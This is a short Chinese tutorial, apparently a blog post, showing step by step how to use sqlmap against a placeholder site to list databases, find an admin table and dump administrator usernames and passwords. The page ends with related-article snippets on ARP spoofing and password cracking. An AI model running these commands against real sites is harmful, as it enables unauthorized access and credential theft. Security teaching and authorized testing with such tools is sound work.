sqlmap 获取mysql密码_利用sqlmap 获取管理员账号密码

首先，先简单介绍下sqlmap

简介：

sqlmap是一种开源的

支持的数据库：MySQL，Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

sqlmap支持五种不同的注入模式：

UNION query SQL injection(可联合查询注入

Error-based SQL injection(报错型注入)

Boolean-based blind SQL injection(布尔型注入)

Time-based blind SQL injection(基于时间延迟注入)

Stacked queries SQL injection(可多语句查询注入)

基本用法：

-u 使用sqlmap

--dbs 获取数据库名

--tables 获取表名

--columns 获取字段名

--dump 获取字段内容

实战：

1.获取库名

python2 sqlmap.py -u "http://xxx.com" --dbs

成功获取库名

接下来得根据经验，猜他的账户，密码在哪个库里，或者都进去看看也可以。

2.继续获取表名

python2 sqlmap.py -u "http://xxx.com" -D 库名 --tables

看见admin 看来离目标不远了

3.获取字段名

python2 sqlmap.py -u "http://xxx.com" -D 库名 -T admin --columns

看到admin_name admin _pass 果然就在这

4.获取用户名，密码

python2 sqlmap.py -u "http://xxx.com" -D 库名 -T admin -C admin_name,admin_pass --dump

介绍完毕，小白教学，大佬勿喷，谢谢大家。

sqlmap 获取mysql密码_利用sqlmap 获取管理员账号密码相关推荐

js获取classname值_利用js获取元素class值的两种方法
我们有时为了达到某种效果,需要以元素的class值为条件做判断. 我们如何利用JavaScript获取元素class的值?我们先看下面代码: x=document.getElementsByTagNa ...
python获取网络信息_利用psutil获取网络信息
获取网络总的io信息 [root@bogon python_auto]# vim net.py !/usr/bin/env python import psutil net_information = ...
宝塔mysql管理员初始密码_宝塔面板忘记管理员用户名密码简单有效解决方法
有些学做网站学员使用服务器建网站,并且安装了宝塔面板,建设好之后需要登录后台,但是有时会忘记账号和密码,应该怎么办?或者是在使用的过程中忘记了登陆密码,应该怎么解决呢?下面介绍一下宝塔面板管理员密码忘 ...
5.2.2 利用arp中间人攻击获取管理员账号密码
一.arp协议简述: ARP即地址解析协议,用于IP地址到MAC地址的映射,即由目标IP找到对应的MAC地址.ARP协议特点是"广播请求,单播回应". 二.arp欺骗原理:(看图, ...
利用SharedPreferences完成记住账号密码的功能
利用SharedPreferences完成记住账号密码的功能效果图: 记住密码后,再次登录就会出现账号密码,否则没有. 分析: SharedPreferences可将数据存储到本地的配置文件中 Sh ...
攻击 | 破解windows7密码（利用PE系统破解XP密码）
攻击 | 破解windows7密码(利用PE系统破解XP密码) 引子-破解win7密码背景-虚拟环境原理实现过程引子-破解win7密码在学校安排的网络空间安全实训过程中,了解到破解windo ...
win10忘记密码_惊！黑客破解电脑密码竟然这么简单~
如果你忘记了你的Windows开机密码你会怎么找回呢?相信大家最为常用的方法就是用U盘做个PE系统,利用PE系统中的密码修改/清除工具来解决忘记密码问题.这种方法的原理是通过利用工具来修改Window ...
利用正则表达式简单判断账号密码等
利用正则表达式简单判断账号密码等 1.判断账号必须为英文,不能有其他符号,限制长度范围6-12之间 //(pattern\compile\CASE_INSENSITIVE\Matcher\find() ...
光猫超级管理员账号密码和Telnet登陆
文章目录三大运营商默认的超级管理员账号密码移动联通电信动态密码如何处理初始化前的准备和初始化后的注册打开Telnet端口为user用户提权公网地址如何判断运营商是否分配了公网地址 ...

sqlmap 获取mysql密码_利用sqlmap 获取管理员账号密码

sqlmap 获取mysql密码_利用sqlmap 获取管理员账号密码相关推荐

最新文章

热门文章